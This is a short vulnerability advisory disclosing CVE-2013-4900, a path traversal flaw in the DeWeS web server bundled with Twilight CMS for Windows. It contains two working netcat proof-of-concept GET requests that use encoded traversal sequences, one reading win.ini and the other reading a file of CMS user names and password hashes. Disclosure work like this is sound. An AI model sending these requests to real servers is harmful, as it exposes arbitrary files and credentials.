Path Traversal in DeWeS Web Server (Twilight CMS)

High-Tech Bridge Security Research Lab discovered path traversal vulnerability in DeWeS web server that is supplied in package with Twilight CMS (Windows version), which can be exploited to read arbitrary files on vulnerable system.

1. Path Traversal in DeWeS Web Server: CVE-2013-4900
   The vulnerability exists due to insufficient validation of HTTP requests passed to web server. A remote attacker can send a specially crafted HTTP request containing directory traversal sequences (e.g. “…%5c”) and read arbitrary files on the target system with privileges of the user running the vulnerable web server.

The exploitation examples below use netcat tool to connect to remote web server in order to exploit the vulnerability using malicious HTTP GET request.
The first PoC (Proof of Concept) code displays contents of the “C:/windows/win.ini” file:
nc [host] 80
GET /…%5c…%5c…%5c…%5c…%5c…%5c…%5c…%5c…%5c…%5c/windows/win.ini HTTP/1.1

The second PoC code displays contents of the “userlist.dat” file that contains all Twilight CMS users and password hashes:
nc [host] 80
GET demosite/…%5c…%5c…%5c…%5c…%5c…%5c…%5c…%5c…%5c…%5c/TwilightCMS/Site s/company_site/Data/userlist.dat HTTP/1.1